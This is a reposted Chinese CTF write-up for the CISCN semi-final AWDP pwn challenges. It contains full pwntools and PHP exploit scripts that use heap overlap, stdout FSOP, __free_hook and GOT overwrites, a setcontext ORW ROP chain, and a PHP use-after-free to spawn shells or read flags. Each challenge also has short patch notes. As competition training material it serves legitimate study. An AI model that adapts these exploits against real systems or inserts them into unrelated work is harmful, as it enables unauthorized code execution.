CCB_CISCN_半决赛-AWDP-pwn 题解

admin 2025年5月26日19:54:10评论19 views字数 9239阅读30分47秒阅读模式

awdp-pwn/typo  awdp-pwn/打字错误

break

没有show, 构造堆块 ub 和 tcache  fd重叠, 后面1/16 概率,申请到_IO_2_1_stdout_-0x10

成功的情况下

CCB_CISCN_半决赛-AWDP-pwn 题解

最终脚本

from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'x00'))
uu64 = lambda x   : u64(x.ljust(8,b'x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('�33[1;31;40m%s -> 0x%x �33[0m' % (x, eval(x)))

attack = '10.10.1.113 28142'.replace(' ',':')
binary = './pwn'

def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)

#context(log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
elf = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x001698
brva 0x01754
#continue
'''
.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))

def add(idx,size):
ru('>> ')
sl('1')
ru(':')
sl(str(idx))
ru(': ')
sl(str(size))

def rm(idx):
ru('>> ')
sl('2')
ru(':')
sl(str(idx))

def edit(idx,size,text):
ru('>> ')
sl('3')
ru(':')
sl(str(idx))
ru(': ')
sl(str(size))
ru(': ')
s(text)

for i in range(100):
io = start([])
add(0,0x80)
add(1,0xF0)
add(2,0xF0)
add(3,0xF0)
add(4,0xF0)
add(5,0xF0)
add(6,0xe0)
add(7,0xe0)

ru('>> ')
sl('3')
ru(':')
sl('0')
ru(': ')
pay = b'A'* 0x90
pay += p64(0xFFFF)
s(pay)
ru(': ')
s('TEST')

pay = b'x00' * 0xF0
pay += p64(0x100*4+0xF1)
edit(1,0x200,pay)

rm(4)
rm(3)
rm(2)

stdout = (libc.sym['_IO_2_1_stdout_'] - 0x10) & 0x0FFF
lss('stdout')

add(2,0x70)
add(3,0x70)
try:
pay = b'x00' * 0x1f8
pay += p16(stdout + 0x2000)
edit(1,len(pay), pay)

add(8,0xF0)
add(9,0xF0)
pay = p64(0)
pay += p64(0xFBAD1800) + p64(0) * 3 + p8(0)
edit(9,len(pay), pay)
io.recvuntil('x00'*8)
libc_base = uu64(r(8)) - 2017664
libc.address = libc_base
free_hook = libc.sym['__free_hook']
lss('libc_base')
pause()

rm(7)
rm(6)
pay = 0x4f8 * b'x00' + p64(free_hook - 0x10)
edit(1,len(pay), pay)

add(6,0xe0)
add(7,0xe0)
edit(7,0x40,p64(0)+p64(libc.sym['system']))

pay = 0xF8 * '/' + '/bin/shx00'
edit(1,len(pay), pay)
rm(2)

#gdb.attach(io,gdbscript=gdbscript)

io.interactive()
except:
io.close()
pass

itr()

fix

错误的传参,存在格式字符串漏洞 ,这里也会导致堆溢出

CCB_CISCN_半决赛-AWDP-pwn 题解

把原本的 snprintf 函数 nop 掉即可

CCB_CISCN_半决赛-AWDP-pwn 题解

awdp-pwn/prompt

break

protobuf,堆溢出漏洞

CCB_CISCN_半决赛-AWDP-pwn 题解

syntax = "proto3";
package mypackage;

message pwn2 {
int32 option = 1;
int32 chunk_sizes = 2;
int32 heap_chunks_id = 3;
bytes heap_content = 4;
}
// protoc --python_out=. pwn2.proto

◆exp

from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'x00'))
uu64 = lambda x   : u64(x.ljust(8,b'x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('�33[1;31;40m%s -> 0x%x �33[0m' % (x, eval(x)))

attack = ''.replace(' ',':')
binary = './pwn'

def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary,gdbscript)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)

#context(log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x1DEC
brva 0x01BD6
#continue
'''
.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
io = start([])

import pwn2_pb2

# syntax = "proto3";
# package mypackage;
# message pwn2 {
# int32 option = 1;
# int32 chunk_sizes = 2;
# int32 heap_chunks_id = 3;
# bytes heap_content = 4;
# }

def add(size,text=b'123',idx=0):
ru('Your prompt >> ')
data = pwn2_pb2.pwn2()
data.option = 1;
data.chunk_sizes = size
data.heap_chunks_id = idx
data.heap_content = text
raw = data.SerializeToString()
print(hexdump(raw))
pay = p32(len(raw)) + raw
s(pay)
def rm(idx,size=0,text=b'123'):
ru('Your prompt >> ')
data = pwn2_pb2.pwn2()
data.option = 2;
data.chunk_sizes = size
data.heap_chunks_id = idx
data.heap_content = text
raw = data.SerializeToString()
print(hexdump(raw))
pay = p32(len(raw)) + raw
s(pay)
def edit(idx,size=0,text=b'123'):
ru('Your prompt >> ')
data = pwn2_pb2.pwn2()
data.option = 3;
data.chunk_sizes = size
data.heap_chunks_id = idx
data.heap_content = text
raw = data.SerializeToString()
print(hexdump(raw))
pay = p32(len(raw)) + raw
s(pay)
def show(idx,size=0,text=b'123'):
ru('Your prompt >> ')
data = pwn2_pb2.pwn2()
data.option = 4;
data.chunk_sizes = 1
data.heap_chunks_id = idx
data.heap_content = text
raw = data.SerializeToString()
print(hexdump(raw))
pay = p32(len(raw)) + raw
s(pay)

# 这里的堆块基本都是连续在一起的,后续溢出就方便很多
add(0x100, b'1')
add(0x100, b'2')
add(0x100, b'3')
add(0x100, b'4')
add(0x100, b'5')
add(0x100, b'6')
add(0x100, b'7')
add(0x100, b'8')

pay = b'A' * 0x108 + p64(0x110 * 4 +1)
edit(1,len(pay),pay)
rm(2)

add(0x100, b'8')

show(3)
ru(': ')
libc_base = uu64(r(6)) - 2169632
libc.address = libc_base
lss('libc_base')

add(0x100, b'8')
rm(8)

show(3)
ru(': ')
key = uu64(r(5))
heap_base = key << 0xC

rm(2)
pay = b'A' * 0x108 + p64(0x111)
pay += p64(key ^ libc.sym['_IO_2_1_stdout_'])
edit(1,len(pay),pay)

add(0x100, b'7')

# 模板orw 嗦
fake_IO_addr = libc.sym['_IO_2_1_stdout_']

pay = flat({
0x00: ' sh;',
0x18: libc.sym['setcontext'] + 61,
0x20: fake_IO_addr, # 0x20 > 0x18
0x68: fake_IO_addr, # rdi #read fd
0x70: 0, # rsi #read buf
0x78: fake_IO_addr, # rsi2 #read buf
0x88: fake_IO_addr + 0x8, # rdx #read size
0x90: 0x400, # rdx2 #read size
0x98: 0x23, # rdx #read size
0xa0: fake_IO_addr,
0xa8: libc.sym['setcontext'] + 294, # RCE2 ogg
0xb0: libc.sym['read'], # RCE2 ogg
0xd8: libc.sym['_IO_wfile_jumps'] + 0x30 - 0x20,
0xe0: fake_IO_addr,
},filler=b'x00')

gdb.attach(io,gdbscript)
add(0x100, pay)
pause()

libc.address = libc_base
libc_rop = ROP(libc)
rax = libc_rop.find_gadget(['pop rax','ret'])[0]
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
m = 0
try:
rdx = libc_rop.find_gadget(['pop rdx','ret'])[0];m = 1
except:
rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]; m = 2
syscall = libc_rop.find_gadget(['syscall','ret'])[0]

orw_rop_addr = fake_IO_addr # ret to addr
buf = orw_rop_addr + 0xa0 + m*3*8
orw_rop = p64(rax) + p64(2) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0)*m + p64(syscall)
orw_rop += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100)*m + p64(libc.sym['read'])
orw_rop += p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100)*m + p64(libc.sym['write'])
orw_rop += b'/flag'.ljust(0x10,b'x00')
sl(orw_rop)

lss('libc_base')
lss('key')
lss('heap_base')

#pay = flat({
#},filler=b'x00')

# libc.address = libc_base
# system = libc.sym['system']
# bin_sh = next(libc.search(b'/bin/sh'))
itr()

fix

堆块大小改大

CCB_CISCN_半决赛-AWDP-pwn 题解

awdp-pwn/php-master

break

CCB_CISCN_半决赛-AWDP-pwn 题解

construct(4);
allocate(0, 0x40);
allocate(1, 0x40);
allocate(2, 0x40);
allocate(3, 0x40);

overwrite(0,str_repeat("A",0x40));
overwrite(1,str_repeat("B",0x40));
overwrite(2,str_repeat("C",0x40));
overwrite(3,str_repeat("D",0x40));

CCB_CISCN_半决赛-AWDP-pwn 题解

free 后,指针还是存在的 应该存在UAF 漏洞

CCB_CISCN_半决赛-AWDP-pwn 题解

clear() 后 仍然可以对堆块操作,修改链表即可 任意地址申请

◆exploit

<?php
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";

function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}

function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "x00");
return $addr;
}

function leakaddr($buffer){
global $libc,$mbase;
//$p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';
$p = '/([0-9a-f]+)-[0-9a-f]+ .* /lib/x86_64-linux-gnu/libc-2.28.so/';
$p1 = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/local/lib/php/extensions/no-debug-non-zts-20210902/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
}

function leak(){
global $libc_base, $module_base, $libc, $mbase;

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
echo dechex($libc_base);
echo "n";
echo dechex($module_base);
echo "n";
}

leak();

$free_got = $module_base + 0x4060;
$system = $libc_base + 0x44af0;
construct(4);
allocate(0, 0x40);
allocate(1, 0x40);
allocate(2, 0x40);
clear();
overwrite(1, p64($free_got));
construct(4);
allocate(0, 0x40);
allocate(1, 0x40);
overwrite(0, "/readflag>/var/www/html/flagx00");
overwrite(1, p64($system));
clear();

?>

◆调试窗口

gdb -ex "target remote 172.17.0.2:1234"

◆docker 里面 启动gdbserver,(把本地的gdbserver 传到docker 里面)

root@c723767b2eff:/var/www/html/gdbserver# ls
exp.php  gdbserver  ld-linux-x86-64.so.2  libc.so.6  libgcc_s.so.1  libm.so.6  libstdc++.so.6
root@c723767b2eff:/var/www/html/gdbserver# ldd gdbserver 
./gdbserver: /lib64/ld-linux-x86-64.so.2: version `GLIBC_2.35' not found (required by ./libc.so.6)
        linux-vdso.so.1 (0x000074b743b0d000)
        libstdc++.so.6 => ./libstdc++.so.6 (0x000074b743834000)
        libgcc_s.so.1 => ./libgcc_s.so.1 (0x000074b743804000)
        libc.so.6 => ./libc.so.6 (0x000074b7435e4000)
        libm.so.6 => ./libm.so.6 (0x000074b7434f1000)
        ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x000074b743b0f000)
root@c723767b2eff:/var/www/html/gdbserver# ./gdbserver :1234 php -S 0:8080 exp.php
gdbserver: Error disabling address space randomization: Operation not permitted
Process php created; pid = 90
Listening on port 1234

◆运行 ee.sh

docker cp exp.php c72:/var/www/html/gdbserver/ # exp.php 传到 docker 里面
curl http://172.17.0.2:8080/exp.php # 然后访问触发

CCB_CISCN_半决赛-AWDP-pwn 题解

CCB_CISCN_半决赛-AWDP-pwn 题解

CCB_CISCN_半决赛-AWDP-pwn 题解

fix

把 申请的堆块大小固定成一个 大的size

CCB_CISCN_半决赛-AWDP-pwn 题解

awdp-pwn/post_quantum

break

不看

fix

idx 改小

CCB_CISCN_半决赛-AWDP-pwn 题解

CCB_CISCN_半决赛-AWDP-pwn 题解

看雪ID:imLZH1

https://bbs.kanxue.com/user-home-987517.htm

*本文为看雪论坛优秀文章,由 imLZH1 原创,转载请注明来自看雪社区
 

# 往期推荐

1、安卓壳学习记录(下)-某加固免费版分析

2、逆向分析:Win10 ObRegisterCallbacks的相关分析

3、VMP入门:VMP1.81 Demo分析

4、腾讯2025游戏安全PC方向初赛题解

5、OLLVM 攻略笔记

6、安卓壳学习记录(上)

CCB_CISCN_半决赛-AWDP-pwn 题解
CCB_CISCN_半决赛-AWDP-pwn 题解

球分享

CCB_CISCN_半决赛-AWDP-pwn 题解
球点赞

CCB_CISCN_半决赛-AWDP-pwn 题解
球在看

 

CCB_CISCN_半决赛-AWDP-pwn 题解
点击阅读原文查看更多

原文始发于微信公众号(看雪学苑):CCB_CISCN_半决赛-AWDP-pwn 题解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日19:54:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CCB_CISCN_半决赛-AWDP-pwn 题解https://cn-sec.com/archives/4004453.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息